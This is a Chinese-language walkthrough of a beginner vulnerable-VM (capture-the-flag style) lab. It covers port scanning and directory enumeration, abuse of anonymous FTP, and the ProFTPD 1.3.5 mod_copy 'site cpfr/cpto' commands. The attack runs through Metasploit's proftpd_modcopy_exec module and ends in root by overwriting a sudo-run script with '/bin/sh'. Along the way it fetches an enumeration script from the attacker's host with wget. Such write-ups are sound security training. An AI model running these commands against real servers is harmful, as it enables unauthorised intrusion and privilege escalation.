靶机地址
难度:初级
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
netdiscover
nmap
searchsploit
metasploit
ProFTPD 1.3.5 RCE漏洞
存疑、待解决
- 怎么发现ftp的upload目录对应的物理路径是/home/ftp/upload?
- 为什么site cpto拥有/script/test的写权限?
文中前后的
靶机IP地址
可能不一样,因为是分几次做的。
0x01、信息收集
靶机IP: 192.168.0.107
netdiscover -r 192.168.0.0/24
端口和服务
nmap -sS -sV -T4 -A -p- 192.168.0.109
FTP服务允许匿名用户(Anonymous)登录,就意味着我们可以在不使用密码的情况下,使用anonymous账户登录FTP并下载文件。
页面、目录枚举,均无果
dirb http://192.168.0.109 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.109 -e .php,.txt,.zip,.html
gobuster dir -u http://192.168.0.109/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip
访问首页
OSSEC是一款开源的多平台的入侵检测系统,可以运行于Windows, Linux, OpenBSD/FreeBSD, 以及 MacOS等操作系统中。包括了日志分析,全面检测,root-kit检测。作为一款HIDS,OSSEC应该被安装在一台实施监控的系统中。另外有时候不需要安装完全版本的OSSEC,如果有多台电脑都安装了OSSEC,那么就可以采用客户端/服务器模式来运行。客户机通过客户端程序将数据发回到服务器端进行分析。在一台电脑上对多个系统进行监控对于企业或者家庭用户来说都是相当经济实用的。
这里的版本是0.8
Dropbear sshd 0.34
Dovecot
0x02、匿名账户登录FTP
download目录是空的,upload目录里有二十来个文本文件,挨个查看之后发现只有一个名叫directory
的文本文件可能有点用,内容是ls -la
用户patrick
目录的结果,从directory里可以知道patrick目录下有百十来个文本文件,大多数文件名都是由随机的字母、数字构成,我把后缀为.txt
文本文件都删除后,剩下了这些内容
进一步筛选后,剩下几个文件
- haha
- Sun
- version_control
而haha、Sun两个文件的大小为0,所以就剩下version_control值的我们看看。
还有一句话值的我们注意:You should know where the directory can be accessed.
我们使用以下命令将version_control文件拷贝到upload目录中,然后通过ftp下载
nmap扫描的时候发现我们对upload目录有读写权限
telnet 192.168.0.107 21
site cpfr /home/patrick/version_control
site cpto /home/ftp/upload/version_control
敏感信息
ProFTPd: 1.3.5
/var/www/tryingharderisjoy
0x03、ProFTPD 1.3.5反弹shell
使用metasploit利用ProFTPD 1.3.5远程命令执行漏洞
msfconsole
search proftpd 1.3.5
use exploit/unix/ftp/proftpd_modcopy_exec
show options
set rhosts 192.168.0.107
set sitepath /var/www/tryingharderisjoy
run
0x04、提权
直接用脚本搜集一下对于提权有用的信息,老样子还是用linuxprivchecker.py
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 80
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中
python linuxprivchecker.py > report.txt
没有发现什么有价值的信息
手动收集一下
在/var/www/tryingharderisjoy目录下发现ossec
ossec_conf.php是ossec入侵检测系统的配置文件
patricksecretsofjoy是个文本文件,内容应该是用户名和密码
su root
切换用户失败,su patrick
切换用户成功
查看是否拥有sudo权限的命令
如果我们能够修改test
里面执行的命令,那么就可以直接提权了
但是patrick没有权限访问/home/patrick/script
目录
这里我们先使用ftp将定制的test
放到upload文件夹中,然后使用telnet访问靶机的21端口,最后使用site cpto
覆盖/home/patrick/script/test
echo "/bin/sh" > test
ftp 192.168.0.107
cd upload
put test
telnet 192.168.0.107 21
site cpfr /home/ftp/upload/test
site cpto /home/patrick/script/test
如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。